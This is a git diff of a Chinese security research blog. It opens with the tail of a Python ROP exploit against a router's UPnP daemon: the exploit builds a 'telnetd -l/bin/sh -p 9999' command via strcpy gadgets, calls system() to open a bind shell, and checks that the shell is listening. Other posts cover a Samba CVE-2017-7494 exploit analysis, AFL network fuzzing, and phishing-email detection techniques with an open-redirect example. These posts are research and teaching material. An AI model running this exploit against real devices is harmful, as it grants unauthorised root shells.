||||
expayload += 'c'*4 #R8
|
||||
expayload += 'd'*4 #R10
|
||||
expayload += p32(0x13648) #strcpy
|
||||
|
||||
|
||||
expayload += 'd'*0x5c#dummy
|
||||
expayload += p32(bssBase+22) #R4
|
||||
expayload += p32(0x41B17) #R5 //telnetd\x20-l/bin/sh\x20-p\x20
|
||||
expayload += 'c'*4 #R6
|
||||
expayload += 'c'*4 #R7
|
||||
expayload += 'c'*4 #R8
|
||||
expayload += 'd'*4 #R10
|
||||
expayload += p32(0x13648) #strcpy
|
||||
|
||||
expayload += 'd'*0x5c#dummy
|
||||
expayload += p32(bssBase+24) #R4
|
||||
expayload += p32(0x03FFC4) #R5 //telnetd\x20-l/bin/sh\x20-p\x2099
|
||||
expayload += 'c'*4 #R6
|
||||
expayload += 'c'*4 #R7
|
||||
expayload += 'c'*4 #R8
|
||||
expayload += 'd'*4 #R10
|
||||
expayload += p32(0x13648) #strcpy
|
||||
|
||||
expayload += 'd'*0x5c#dummy
|
||||
expayload += p32(bssBase+26) #R4
|
||||
expayload += p32(0x03FFC4) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999
|
||||
expayload += 'c'*4 #R6
|
||||
expayload += 'c'*4 #R7
|
||||
expayload += 'c'*4 #R8
|
||||
expayload += 'd'*4 #R10
|
||||
expayload += p32(0x13648) #strcpy
|
||||
|
||||
expayload += 'd'*0x5c#dummy
|
||||
expayload += p32(bssBase+28) #R4
|
||||
expayload += p32(0x4A01D) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999\x20&
|
||||
expayload += 'c'*4 #R6
|
||||
expayload += 'c'*4 #R7
|
||||
expayload += 'c'*4 #R8
|
||||
expayload += 'd'*4 #R10
|
||||
expayload += p32(0x13648) #strcpy
|
||||
|
||||
expayload += 'd'*0x5c#dummy
|
||||
expayload += p32(bssBase+30) #R4
|
||||
expayload += p32(0x461C1) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00
|
||||
expayload += 'c'*4 #R6
|
||||
expayload += 'c'*4 #R7
|
||||
expayload += 'c'*4 #R8
|
||||
expayload += 'd'*4 #R10
|
||||
expayload += p32(0x13648) #strcpy
|
||||
|
||||
print "[*] Make Payload ..."
|
||||
|
||||
"""
|
||||
.text:0001A83C MOV R0, R4 ; command
|
||||
.text:0001A840 BL system
|
||||
"""
|
||||
|
||||
expayload += 'd'*0x5c#dummy
|
||||
expayload += p32(bssBase) #R4
|
||||
expayload += p32(0x47398) #R5
|
||||
expayload += 'c'*4 #R6
|
||||
expayload += 'c'*4 #R7
|
||||
expayload += 'c'*4 #R8
|
||||
expayload += 'd'*4 #R10
|
||||
expayload += p32(0x1A83C) #system(string) telnetd -l
|
||||
return expayload
|
||||
|
||||
def conn(ip):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.connect((ip, 1900))
|
||||
return s
|
||||
print "[*] Send Proof Of Concept payload"
|
||||
|
||||
|
||||
def checkExploit(ip):
|
||||
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
try:
|
||||
ret = soc.connect((ip,9999))
|
||||
return 1
|
||||
except:
|
||||
return 0
|
||||
|
||||
if __name__=="__main__":
|
||||
ip = sys.argv[1]
|
||||
libc_addr = sys.argv[2]
|
||||
banner()
|
||||
payload1 = makpayload1()
|
||||
payload2 = makpayload2(libc_addr)
|
||||
s = conn(ip)
|
||||
s.send('a\x00'+payload1) #expayload is rop gadget
|
||||
s.send(payload2)
|
||||
time.sleep(5)
|
||||
if checkExploit(ip):
|
||||
print "[*] Exploit Success"
|
||||
print "[*] You can access telnet %s 9999"%ip
|
||||
else:
|
||||
print "[*] Need to Existed Address cross each other"
|
||||
print "[*] You need to reboot or execute upnpd daemon to execute upnpd"
|
||||
print "[*] To exploit reexecute upnpd, description"
|
||||
print "[*] Access http://%s/debug.htm and enable telnet"%ip
|
||||
print "[*] then, You can access telnet. execute upnpd(just typing upnpd)"
|
||||
s.close()
|
||||
print """\n[*] Done ...\n"""
|
||||
```
|
@ -6,6 +6,7 @@ tags:
|
||||
- 文件格式
|
||||
categories:
|
||||
- 二进制
|
||||
description: 庖丁解牛.jpg
|
||||
---
|
||||
|
||||
# PE文件格式
|
||||
@ -194,4 +195,4 @@ typedef struct _IMAGE_IMPORT_DESCRIPTOR {
|
||||
} IMAGE_IMPORT_DESCRIPTOR;
|
||||
```
|
||||
- 一个exe程序加载dll的IMAGE_IMPORT_DESCRIPTOR
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1556519313/1506049226526485.jpg)
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1556519313/pwn/1506049226526485.jpg)
|
||||
|
@ -6,6 +6,7 @@ tags:
|
||||
- Linux
|
||||
- CTF
|
||||
categories: Pwn
|
||||
description: 我怎么还在start??
|
||||
---
|
||||
|
||||
# [Pwnable.tw](http://pwnable.tw/) start
|
||||
|
@ -7,6 +7,7 @@ tags:
|
||||
- CVE
|
||||
categories:
|
||||
- IOT
|
||||
description: Samba漏洞臭名昭著
|
||||
---
|
||||
|
||||
# 漏洞描述
|
||||
@ -29,13 +30,13 @@ SMB协议是客户机/服务器型协议,客户机通过该协议可以访问
|
||||
# 漏洞成因
|
||||
处于``\source3\rpc_server\src_pipe.c的is_known_pipename()``函数未对传进来的管道名`pipename`的路径分隔符`/`进行识别过滤,导致可以用绝对路径调用恶意的so文件,从而远程任意代码执行。
|
||||
首先看到`is_known_pipename()``函数
|
||||
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-00-46.png)
|
||||
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-00-46.png)
|
||||
|
||||
跟进到`smb_probe_module()`
|
||||
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-59-58.jpg)
|
||||
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-59-58.jpg)
|
||||
|
||||
再跟进到`do_smb_load_module()`,发现调用的过程就在其中,调用了传进来的moudule_name对应的init_samba_module函数
|
||||
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-01-19.jpg)
|
||||
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-01-19.jpg)
|
||||
|
||||
我们可以通过smb服务上传一个恶意的so文件,随后通过上述过程进行调用,执行任意代码。
|
||||
|
||||
@ -159,45 +160,45 @@ exploit
|
||||
然后重启smbd服务。
|
||||
|
||||
# 分析POC,查找原因
|
||||
(来自[Wz'blog](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/))
|
||||
(来自[Wz'blog](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/))
|
||||
|
||||
## 建立SMB连接。若需要账号密码登录,则必须登录后才能继续
|
||||
从微软上扒的SMB协议建立时序图:
|
||||
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-09-40.png)
|
||||
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-09-40.png)
|
||||
|
||||
对应POC:
|
||||
|
||||
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/23-15-57.png)
|
||||
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/23-15-57.png)
|
||||
|
||||
## 利用NetShareEnumAll遍历目标服务器的共享名(ShareName)以及获取对应的共享文件夹下的可写路径(Path)
|
||||
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/00-38-48.jpg)
|
||||
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/00-38-48.jpg)
|
||||
|
||||
其中find_writeable_path()函数需要跟进看一下:
|
||||
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-14-43.jpg)
|
||||
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-14-43.jpg)
|
||||
|
||||
再跟进看enumerate_directories()以及verify_writeable_directory函数
|
||||
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/00-48-27.jpg)
|
||||
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-18-44.jpg)
|
||||
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/00-48-27.jpg)
|
||||
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-18-44.jpg)
|
||||
|
||||
可以看到代码逻辑很清楚,首先遍历出当前路径所有的文件夹,然后尝试往里面写一个随机的txt文件用作可写测试,随后删除掉txt文件,记录下可写的文件路径。
|
||||
至此,我们得到了一个共享名(即本例中的data)以及其当前路径下的可写目录(/tmp)
|
||||
|
||||
## 利用NetShareGetInfo获取共享文件夹的绝对路径(SharePath)
|
||||
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-26-47.jpg)
|
||||
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-26-47.jpg)
|
||||
至此获取到了共享名data的绝对路径。
|
||||
值得注意的是,这里跟早期的Payload不一样,早期的payload是靠暴力猜解目录,所以跟一些分析文章有些出入。现在的Payload是根据NetShareGetInfo直接获取到准确的路径,极大地提高了攻击的成功率。
|
||||
|
||||
## 上传恶意so文件
|
||||
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-38-28.jpg)
|
||||
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-38-28.jpg)
|
||||
其中写入的so文件是Metasploit生成的反弹shell,很简单的执行一句命令。有一点需要注意的是里面的函数名必须是samba_init_module并且是一个导出函数,这个原因上述的漏洞分析也有提及。
|
||||
|
||||
## 调用恶意文件,并执行echo命令打印随机字符串检验是否调用成功
|
||||
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-43-02.jpg)
|
||||
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-43-02.jpg)
|
||||
利用从第2步获取到的可写文件目录(Path)以及从第3步得到的共享文件绝对路径(SharePath)构造恶意管道名\\PIPE\/SharePath/Path/Evil.so,然后通过SMB_COM_NT_CREATE_ANDX进行调用。
|
||||
在复现时,调用恶意so文件总会失败,产生Error Code为:STATUS_OBJECT_NAME_NOT_FOUND的错误。尚未能明白为什么会出现这种首次失败的情况,也许要详细看看smb协议才能知道了。
|
||||
POC代码将STATUS_OBJECT_PATH_INVALID作为我们payload被加载的标志,随后就是用NBSS协议进行了一次远程代码执行的测试,执行代码为echo随机字符串。
|
||||
|
||||
## 删除恶意so文件,断开smb连接
|
||||
![](https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-45-01.png)
|
||||
![](https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-45-01.png)
|
||||
|
||||
由msf给出的poc过程可见,对路由器的攻击在第五步出现问题,因此出现Failed to load STATUS_OBJECT_NAME_NOT_FOUND
|
||||
|
@ -6,8 +6,8 @@ tags:
|
||||
- 拒绝服务攻击
|
||||
categories:
|
||||
- 二进制
|
||||
description: TCPDUMP 4.5.1 拒绝服务攻击漏洞分析
|
||||
---
|
||||
# TCPDUMP 4.5.1 拒绝服务攻击漏洞分析
|
||||
|
||||
## Tcpdump介绍
|
||||
1. tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统:包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中,tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump;它需要WinPcap驱动,相当于在Linux平台下的libpcap.
|
||||
|
@ -6,6 +6,7 @@ tags:
|
||||
- 路由器
|
||||
- MiniUPnP
|
||||
categories: IOT
|
||||
description: 非常经典的UPnP,Classic~
|
||||
---
|
||||
|
||||
# 概述
|
||||
|
@ -5,9 +5,10 @@ tags:
|
||||
- AFL
|
||||
- 模糊测试
|
||||
categories: 二进制
|
||||
description: 这篇文章是对afl的简单使用,可大致分为黑盒测试和白盒测试两个部分。白盒测试从对目标程序的插桩编译开始,然后使用fuzzer对其模糊测试发现崩溃,最后对测试的代码覆盖率进行评估。黑盒测试则演示得较简略。
|
||||
---
|
||||
|
||||
这篇文章是对afl的简单使用,可大致分为黑盒测试和白盒测试两个部分。白盒测试从对目标程序的插桩编译开始,然后使用fuzzer对其模糊测试发现崩溃,最后对测试的代码覆盖率进行评估。黑盒测试则演示得较简略。
|
||||
|
||||
参考:https://paper.seebug.org/841/#_1
|
||||
|
||||
**部署afl**
|
||||
|
71
source/_posts/aflnw-blackbox.md
Normal file
71
source/_posts/aflnw-blackbox.md
Normal file
@ -0,0 +1,71 @@
|
||||
---
|
||||
title: 利用AFL黑盒测试网络协议
|
||||
date: 2021-05-20 19:26:35
|
||||
tags:
|
||||
- 模糊测试
|
||||
categories:
|
||||
- IOT
|
||||
description: 做对比实验用的小工具,在拿不到固件的情况下,可以用AFL的变异策略尝试fuzz
|
||||
---
|
||||
源码:https://github.com/Cool-Y/aflnw_blackbox
|
||||
|
||||
AFL是基于变异的模糊测试方法的代表工作,其主要应用于非结构化数据处理程序的漏洞挖掘中。但使用AFL具有比较多的限制:
|
||||
|
||||
1. 本地运行被测程序,从而获取覆盖率等反馈信息
|
||||
2. 被测程序从基本输入输出获取数据
|
||||
|
||||
因此无法直接使用AFL对远程服务进行黑盒测试
|
||||
|
||||
## 现有工作
|
||||
|
||||
目前针对限制2已经有一些解决方案:
|
||||
|
||||
1. hook socket调用:利用 `preeny`库辅助;AFLplusplus
|
||||
1. https://www.cnblogs.com/hac425/p/9416917.html
|
||||
2. https://github.com/AFLplusplus/AFLplusplus/tree/stable/utils/socket_fuzzing
|
||||
2. 修改AFL传递数据的方式:AFLNet: A Greybox Fuzzer for Network Protocols,aflnet在AFL的基础上,将标准输入修改为网络发包的方式
|
||||
1. https://github.com/aflnet/aflnet
|
||||
2. https://www.comp.nus.edu.sg/~abhik/pdf/AFLNet-ICST20.pdf
|
||||
3. 修改网络程序接收数据的方式:bind9的代码中专门提供了用于Fuzz的部分。
|
||||
1. https://github.com/isc-projects/bind9/tree/main/fuzz
|
||||
4. 利用AFL Persistent Mode
|
||||
1. https://www.fastly.com/blog/how-fuzz-server-american-fuzzy-lop
|
||||
2. https://sensepost.com/blog/2017/fuzzing-apache-httpd-server-with-american-fuzzy-lop-%2B-persistent-mode/
|
||||
5. 利用辅助程序转发AFL的输入
|
||||
1. https://github.com/LyleMi/aflnw/blob/main/README.zh-cn.md
|
||||
|
||||
|
||||
但是如果无法将程序放在本地运行,比如物联网设备在拿不到固件的情况下,如何利用AFL的变异方式进行模糊测试。
|
||||
|
||||
## 黑盒方案
|
||||
|
||||
在aflnw的基础上,对辅助程序的工作方式进行了修改,从而实现在不对AFL和被测程序进行修改的条件下,使用一个辅助程序接收AFL从标准输入传递进来的数据,然后通过网络转发给UPnP服务,辅助程序会间隔性地与UPnP端口建立TCP连接,从而判断测试用例是否导致程序崩溃。
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1621510535/ufuzzer/image_33.png)
|
||||
## 如何安装
|
||||
```
|
||||
git clone https://github.com/LyleMi/aflnw.gitcd aflnw
|
||||
export CC=/path/to/afl/afl-clang-fast
|
||||
mkdir build && cd build && cmake .. && make
|
||||
```
|
||||
|
||||
|
||||
|
||||
## 如何使用
|
||||
|
||||
1. 使用wireshark采集种子输入(Follow→TCP Stream,保存为raw文件)
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1621510534/ufuzzer/image_35.png)
|
||||
2. 确定通信协议(udp/tcp)、服务端监控地址、服务端监控端口、socket本地绑定地址
|
||||
3. fuzz,以UPnP协议为例
|
||||
```
|
||||
afl-fuzz -t 1000+ -i ./soap_input/ -o ./soap_out/ -- ./build/aflnw -a 192.168.2.2 -p 5000 -m tcp
|
||||
afl-fuzz -t 2000+ -i ./ssdp_input/ -o ./ssdp_out/ -- ./build/aflnw -a 239.255.255.250 -p 1900 -m udp
|
||||
```
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1621510535/ufuzzer/image_34.png)
|
||||
4. 崩溃重放
|
||||
```
|
||||
./build/aflnw -a 239.255.255.250 -p 1900 -m udp < soap_out/crashes/id:00000....
|
||||
./build/aflnw -a 192.168.2.2 -p 5000 -m tcp < ssdp_out/crashes/id:000000.....
|
||||
```
|
||||
|
||||
## 问题
|
||||
效率很低
|
@ -6,6 +6,7 @@ tags:
|
||||
- 微信
|
||||
categories:
|
||||
- 杂七杂八
|
||||
description: 看了这篇文章,女朋友还会问你为什么不给她发微信吗?
|
||||
---
|
||||
我们实验室有个光荣传统,每天早上起床叫醒我的不是闹钟,而是群里雷打不动的安全新闻(其实我免提醒了2333)
|
||||
而这个发送新闻的人,一代一代的传承,我没想到竟然有一天会落在我头上,哭了o(╥﹏╥)o
|
||||
|
119
source/_posts/coremail.md
Normal file
119
source/_posts/coremail.md
Normal file
@ -0,0 +1,119 @@
|
||||
---
|
||||
title: DataCon Coremail邮件安全第三题 Writeup
|
||||
|
||||
date: 2020-10-16 11:07:33
|
||||
tags:
|
||||
- 钓鱼邮件
|
||||
- phishing email
|
||||
categories:
|
||||
- 杂七杂八
|
||||
description: 研一的时候参加了第一届datacon,可惜因为课程任务太重了,最后连答案都没提交。今年和研一两位师弟师妹组队参加,本以为又要躺过去了,最后被两位的热情感染,完成了比赛还取得不错的成绩,也算是完成了研究生阶段的一个小遗憾。我之前没做过数据分析也没接触过邮件安全,借这次赛题好好的补了一课,第一题是识别发件人伪造,第二题是垃圾邮件分类,第三题是识别威胁邮件,全部是真实数据,难度层层递进。
|
||||
---
|
||||
|
||||
## 赛题理解
|
||||
|
||||
### 目标
|
||||
|
||||
> 在真实的企业网络环境中,一些攻击者总能想方设法绕过邮件检测引擎,使攻击邮件抵达员工的收件箱,最终达到窃取用户登录凭证等目的。与此同时,企业网络安全管理团队的精力十分有限,不可能实现对企业的全部邮件进行逐一审查。
|
||||
|
||||
> 如果你是一家企业的邮件安全负责人,能否基于数据分析,利用长达三个月的企业邮件服务器日志摘要信息,设计检测模型,输出一批威胁程度较高的邮件,以便于后续的人工审查。请注意:检测模型不允许使用第三方威胁情报,检测系统必须能够离线运行。
|
||||
|
||||
|
||||
从赛题说明中,我们可以提取出几个关键词:邮件、窃取用户凭证、威胁程度、离线运行,最终目的是从邮件通信日志中筛选出钓鱼邮件(窃取用户登录凭证)。
|
||||
|
||||
### 数据
|
||||
|
||||
> 约80万封邮件通信日志,赛事主办方已经对数据进行了脱敏和匿名化处理。
|
||||
|
||||
> 提示:根据既往经验知识,威胁程度较高的邮件规模约在2千至2万左右。
|
||||
|
||||
主办方给了威胁邮件的大致数量范围,邮件通信日志与第一题真实的邮件格式不同,每一封邮件都是json格式的数据,只保留了8个字段,而且做了匿名化处理。
|
||||
|
||||
```
|
||||
* rcpt:收信人邮箱地址 ---> [salt+hash]@[salt+hash替换掉敏感域名,其它保留].[真实TLD]
|
||||
* sender:发件人邮箱地址 ---> 同上
|
||||
* ip:企业邮箱用户登录ip ---> 经过映射处理,不是真实的ip地址,但保留子网关系
|
||||
* fromname:发信人名称 ---> 对于白名单关键词(比如admin,hr,管理员,经理等)进行保留。除了白名单的其它部分salt+hash
|
||||
* url:直接从邮件正文、subject、附件、fromname中提取出来的url ---> [真实协议]://hash+salt替换掉敏感域名.真实TLD/真实参数
|
||||
* @timestamp:时间戳
|
||||
* region:企业邮箱用户登录ip所在地区
|
||||
* authuser:收信时False,发信时True,注意企业邮箱域内互发的话是只有一条发信记录
|
||||
* tag:邮件编号,提交答案需要用到
|
||||
```
|
||||
|
||||
### 提交规则
|
||||
|
||||
主办方给的方法很简单,每一封邮件均有字段tag,结果只需要每行一个威胁邮件的tag,换行使用`\n`
|
||||
|
||||
### 评分
|
||||
|
||||
> 比赛过程中排行榜展示每位选手的F1-score,未提交答案F1-score视为0,比赛结束后,每位选手的得分由`min-max归一化*100`计算得出,保留1位小数(四舍五入)
|
||||
|
||||
最终得分不仅取决于自己的F1-score,还取决于所有选手的整体成绩。另外利用F1-score,我们还能推测出这80万封邮件中大致的威胁邮件数量,后续再说。
|
||||
|
||||
## 解题思路
|
||||
|
||||
在初步浏览了一些邮件日志内容后,我们将目标锁定为寻找钓鱼邮件的数量。首先需要知道钓鱼邮件是什么,具备哪些特征。
|
||||
|
||||
### 1. 使用短链接
|
||||
|
||||
短链接就是将较长的网址,通过特定的算法转换为简短的网址字符串。用户无法通过短链接地址直接看出点击这个短链接地址后究竟会打开什么样的网站。
|
||||
常见的有:`t.cn`、 `bit.ly`、 `bit.do`、 `u.to`、 `url.cn`
|
||||
|
||||
### 2. 使用十六进制IP地址编码格式进行混淆
|
||||
|
||||
网络攻击者正在不断发展其工具、策略和技术,以逃避垃圾邮件检测系统。 一些垃圾邮件活动非常依赖电子邮件信息中的混淆URL。其中就有使用了URL主机名部分中使用的十六进制IP地址编码格式来逃避检测。
|
||||
从技术上讲,IP地址可以用多种格式表示,因此可以在URL中使用,如下所示:
|
||||
|
||||
* **https://216.58.199.78**
|
||||
点分十进制IP地址,此示例使用Google.com的IP
|
||||
* **https://0330.0072.0307.0116**
|
||||
八进制IP地址,将每个十进制数字转换为八进制
|
||||
* **https://0xD83AC74E**
|
||||
十六进制IP地址,将每个十进制数字转换为十六进制
|
||||
* **https://3627730766**
|
||||
整数或DWORD IP地址,将十六进制IP转换为整数
|
||||
|
||||
浏览器将自动将十六进制或其他IP格式转换为十进制的IP地址。
|
||||
|
||||
### 3. 邮件钓鱼测试工具固有特征
|
||||
|
||||
PhEmail是基于python编写的一款网络钓鱼邮件测试工具。PhEmail可以同时向多个用户发送钓鱼邮件,并记录点击的用户的邮箱和IP等信息。PhEmail可以通过Google收集邮箱,完成邮箱收集工作。
|
||||
收集邮箱后钓鱼邮件发送常用参数:`-w 钓鱼网站url地址,发送后会自动添加index.php?email=等内容`
|
||||
钓鱼邮件中的url链接伪造时添加email地址并进行编码,通过钓鱼网站中php文件代码来识别email并记录log文件中。php可以进行重定向到其他网站。
|
||||
|
||||
### 4. 冒充管理员等身份
|
||||
|
||||
对于企业用户来说,OA钓鱼邮件是最具危险性的钓鱼邮件。攻击者冒充系统管理员发送邮件,以邮箱升级、邮箱停用等理由诱骗企业用户登录钓鱼网站,并进而骗取企业员工的帐号、密码、姓名、职务等信息。
|
||||
钓鱼邮件经常伪装的发件人身份有以下几个主要类型:
|
||||
|
||||
* 冒充系统管理员,以系统升级、身份验证等为由,通过钓鱼网站等方式骗取企业员工的内网帐号密码或邮箱帐号密码。
|
||||
* 冒充特定组织,如协会、机构、会议组织者或政府主管部门等身份发送邮件,骗取帐号密码或钱财。
|
||||
* 冒充客户或冒充自己,即攻击者会冒充企业客户或合作方对企业实施诈骗,或者是攻击者冒充某企业员工对该企业的客户或合作方实施诈骗。当然也有可能 是冒充某个企业的管理者对企业员工实施诈骗。
|
||||
|
||||
从fromname(发信人名称)中获得的常见名称有:admin、support、安全、service、管理员等。
|
||||
|
||||
|
||||
### 5. 同形异义词攻击
|
||||
|
||||
同形异义字是利用IDN中一些非拉丁字符语种的字母与拉丁字符非常相似,字面看很难区分的特性,找到对应的字符来实现钓鱼攻击。例如16ვ.com(U+10D5)、16ဒ.com (U+1012)、16ҙ.com (U+0499) 都在一定程度上和163.com有相似性,基于一些开放的https证书服务这些域名还能取得相应的证书,进一步增加钓鱼成功的可能性。
|
||||
Punycode是RFC 3492标准设计的编码系统,用于把Unicode转换为可用的DNS系统的编码,比如16ҙ.com就会被转成**xn--16-8tc.com**,这在一定程度上可以防止IDN欺骗。
|
||||
|
||||
### 6. URL跳转
|
||||
|
||||
使用URL跳转可以突破钓鱼软件检测系统。这类钓鱼软件检测系统在检测是否是钓鱼网站或者恶意系统的时候,检测的是URL,而并非网站的内容。比如,从qq邮箱打开一个URL的时候,会弹出一个网页提示。但并不是所以的网站都会提示,一些知名网站是不可能做钓鱼网站的,所以邮箱就不会拦截,也就是说,当邮箱碰到不认识的网站的时候才会进行提示。
|
||||
这样攻击者就可以利用URLt跳转来躲过恶意检测。比如:**http://www.baidu.com/page?url=http://www.evil.com**
|
||||
|
||||
## 参考
|
||||
2016中国企业邮箱安全性研究报告 https://www.anquanke.com/post/id/85416
|
||||
PhEmail https://github.com/Dionach/PhEmail
|
||||
微软:最新钓鱼技术2019总结 https://www.4hou.com/posts/A9oz
|
||||
[译] APT分析报告:02.钓鱼邮件网址混淆URL逃避检测 https://blog.csdn.net/Eastmount/article/details/108728139
|
||||
2017中国企业邮箱安全性 研究报告 http://zt.360.cn/1101061855.php?dtid=1101062514&did=491163339
|
||||
基于URL跳转与XSS组合利用的钓鱼分析 https://xz.aliyun.com/t/6303
|
||||
IDN Spoof漏洞自动化挖掘 https://blog.lyle.ac.cn/2018/12/08/idnfuzz/
|
||||
APT杂项篇一种老旧,但却防不胜防的钓鱼攻击(Punycode 钓鱼攻击)https://www.codenong.com/cs106406317/
|
||||
钓鱼网站也在使用https加密,如何识别钓鱼网站? https://www.freebuf.com/company-information/208790.html
|
||||
恶意邮件智能监测与溯源技术研究 https://www.anquanke.com/post/id/172046#h2-0
|
||||
钓鱼邮件的投递和伪造 https://xz.aliyun.com/t/6325#toc-0、
|
||||
用机器学习检测钓鱼网站 http://blog.hubwiz.com/2019/09/17/detect-phishing-url/
|
110
source/_posts/dolphin-attack-practice.md
Normal file
110
source/_posts/dolphin-attack-practice.md
Normal file
@ -0,0 +1,110 @@
|
||||
---
|
||||
title: Dolphin Attack 论文复现
|
||||
date: 2021-01-08 12:54:41
|
||||
tags:
|
||||
- 硬件攻击
|
||||
- 传感器
|
||||
- 语音助手
|
||||
categories:
|
||||
- 顶会论文
|
||||
description: 眼前一亮的工作!海豚音攻击,试着复现看看(贫穷版)
|
||||
---
|
||||
|
||||
# 海豚音攻击-复现
|
||||
